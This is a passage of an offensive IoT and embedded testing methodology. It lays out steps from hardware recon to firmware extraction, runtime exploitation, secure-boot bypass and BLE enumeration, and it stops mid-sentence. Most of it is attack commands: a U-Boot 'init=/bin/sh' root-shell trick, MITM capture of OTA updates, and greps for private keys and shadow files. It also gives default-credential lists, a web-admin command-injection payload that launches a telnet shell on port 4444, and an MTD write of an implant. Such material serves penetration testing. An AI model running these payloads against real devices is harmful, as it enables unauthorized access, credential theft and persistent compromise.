IoT & Embedded — Offensive Testing Methodology

Quick Workflow

1. Recon the device physically — identify SoC, flash, debug interfaces, radios
2. Get the firmware — vendor download, OTA capture, hardware dump, or chip-off
3. Unpack and analyze — filesystems, services, secrets, default creds, vuln components
4. Establish runtime access — UART shell, telnet/SSH default creds, exploit chain
5. Pivot — to companion app, cloud API, neighboring devices via mesh / wireless

Hardware Reconnaissance

PCB Inspection

• ID the SoC by markings (Realtek, Mediatek, Espressif, Broadcom, Allwinner, NXP, STM32, etc.)
• ID flash (8-pin SOIC = SPI NOR; BGA = eMMC; TSOP = NAND)
• Find debug headers: TX/RX/GND/VCC pads (UART), 4–10 pin (JTAG), 4 pin (SWD)
• Find test points labeled TX, RX, TCK, TMS, TDO, TDI, RST, BOOT

Tools

UART Discovery

# Find baud rate
for b in 9600 19200 38400 57600 115200 230400 460800 921600; do
  echo "=== $b ==="
  timeout 5 minicom -b $b -D /dev/ttyUSB0 -C uart_$b.log
done
grep -l -E "U-Boot|Linux|Bootloader|console|login" uart_*.log

Look for: U-Boot console (often Hit any key countdown), Linux init messages, root shell on console, login prompt.

Bootloader Console Drop

# At U-Boot countdown, mash space or key listed
Hit any key to stop autoboot:  0
=> printenv                   # full env, often includes boot args
=> setenv bootargs ${bootargs} init=/bin/sh
=> boot                       # Linux comes up to root shell, no login

If U-Boot is locked, try:

• CONFIG_DELAY_AUTOBOOT_KEYED keyword (vendor-specific)
• Ctrl+C / Ctrl+B / specific magic strings
• Glitch the U-Boot version-check / signature-check (see Fault Injection)

Flash Dumping

SPI NOR (most common consumer IoT)

# In-circuit dump (hold SoC in reset to avoid bus contention)
flashrom -p ch341a_spi -r firmware.bin

# Verify
file firmware.bin && binwalk firmware.bin

If the SoC fights you: desolder the SPI chip, dump in socket, re-solder.

eMMC / NAND

eMMC is desolder-then-read: BGA-153/169 to SD adapter (cheap eBay), use a USB SD reader.

NAND requires bit-flipping and ECC handling — nanddump/yaffshiv/ubireader post-extraction.

OTA Capture

Many devices fetch firmware over HTTP(S). MITM the device:

# Captive AP + transparent proxy
sudo create_ap wlan0 eth0 IoTLab
mitmproxy --mode transparent --showhost --ssl-insecure
# Or for non-SNI / pinning, use bettercap with custom DNS

Capture the URL, download directly, dissect.

Firmware Analysis

Initial Triage

binwalk -Me firmware.bin           # Extract recursively
binwalk -E firmware.bin            # Entropy plot — flat = encrypted/compressed
strings firmware.bin | grep -iE "(passwd|key|token|admin|http|ssid)"

Filesystem Mounting

# SquashFS (most consumer Linux IoT)
unsquashfs -d rootfs squashfs.bin

# JFFS2 / UBIFS (NAND-backed)
jefferson jffs2.bin -d rootfs
ubireader_extract_files ubi.bin -o rootfs

Embedded-Linux Quick Wins

# Hardcoded credentials and keys
grep -RIE "(BEGIN (RSA |DSA |EC )?PRIVATE KEY|api[_-]?key|secret|token|passwd|root:[^*])" rootfs/
find rootfs -name "*.pem" -o -name "*.key" -o -name "shadow"

# Telnet/SSH default creds
cat rootfs/etc/passwd rootfs/etc/shadow
grep -r "telnetd" rootfs/etc/init.d
grep -r "dropbear\|sshd" rootfs/

# Setuid binaries
find rootfs -perm -4000 -type f

# Vulnerable busybox / dropbear / openssl versions
rootfs/bin/busybox 2>&1 | head -1
strings rootfs/sbin/dropbear | grep "Dropbear v"
strings rootfs/usr/lib/libssl* | grep "OpenSSL "

# Web admin: lighttpd / mini_httpd / boa / GoAhead — known CVE goldmine
find rootfs -name "lighttpd*" -o -name "boa" -o -name "goahead" -o -name "mini_httpd"

CGI / Web Admin Auditing

GoAhead, Boa, mini_httpd — abandoned codebases, command injection on every other CGI parameter.

# Disassemble a CGI
file rootfs/www/cgi-bin/setup.cgi
# Often plain ELF MIPS/ARM — analyze in Ghidra
ghidra-headlessAnalyzer -import rootfs/www/cgi-bin/setup.cgi

Common patterns:

• system() / popen() with concatenated query string args
• sprintf then system — easy command injection
• Auth check via comparing cookie to plaintext file (race / replay)

Runtime Exploitation

Console / Telnet Default Creds

Try (per device class): admin/admin, root/root, root/<empty>, admin/password, support/support, cisco/cisco, vendor brand as user/pass. Always try root/<serial number> — many vendors use a per-device default.

Web Admin Command Injection

POST /goform/setSysAdm
Cookie: SESSIONID=...
admin_user=admin&admin_pwd=password;telnetd -l /bin/sh -p 4444;

MTD Writes (re-flash from runtime)

If you have a root shell:

cat /proc/mtd          # list partitions
mtd_debug erase /dev/mtd2 0 0x10000
mtd_debug write /dev/mtd2 0 0x10000 implant.bin

/dev/mem

On older kernels without CONFIG_STRICT_DEVMEM, /dev/mem is read/write to physical memory — full system compromise from any root context.

Bootloader / Secure Boot Attacks

U-Boot Quick Bypasses

• setenv bootargs ${bootargs} init=/bin/sh
• setenv preboot 'echo 1 > /sys/...' (run command before kernel)
• tftpboot — load attacker kernel from network
• bootm of a memory-resident image you loadb-uploaded over UART

Secure Boot

Modern devices verify signed bootloaders / kernels. Bypass paths:

• Downgrade: flash an older signed image with known kernel-level CVE
• Rollback bypass: anti-rollback fuses not blown → flash older signed
• Key extraction: dump the OTP / fuse contents via vendor tooling, recover signing key
• Fault injection: glitch the signature-check instruction (see below)

Fault Injection (Voltage / Clock Glitching)

Tools: ChipWhisperer-Lite/Husky, PicoEMP, custom MOSFET crowbar
Target: NAND/eMMC bootrom signature check, U-Boot env-protection check, OTP read
Procedure:
  1. Locate target instruction window via UART timing or power trace
  2. Apply glitch (V drop / EM pulse) at that offset
  3. Sweep delay and width; success = corrupted check, accepted unsigned image

RTOS Targets

MCU Reverse Engineering

# Read protected MCU via SWD / JTAG (if RDP not set)
openocd -f interface/jlink.cfg -f target/stm32f4x.cfg \
  -c "init; halt; flash read_bank 0 fw.bin 0 0x100000; exit"

# SAM-BA on Atmel SAM
sam-ba -p \\.\COM3 -d at91sam7s256 -a "read_flash(0,0x40000,fw.bin)"

# Ghidra / Binary Ninja with appropriate processor module (ARM Cortex-M, ESP32 Xtensa, AVR, MSP430)

Wireless Protocols

Bluetooth Low Energy (BLE)

# Discover and enumerate
bettercap -eval "ble.recon on; events.show 60; ble.show"

# GATT introspection
gatttool -b AA:BB:CC:DD:EE:FF -I
> connect
> primary
> char-desc
> char-read-uuid <uuid>
> char-write-req <handle> <hex>

Attack surface: characteristic write without auth, pairing downgrade ("Just Works" forced), session key reuse, app-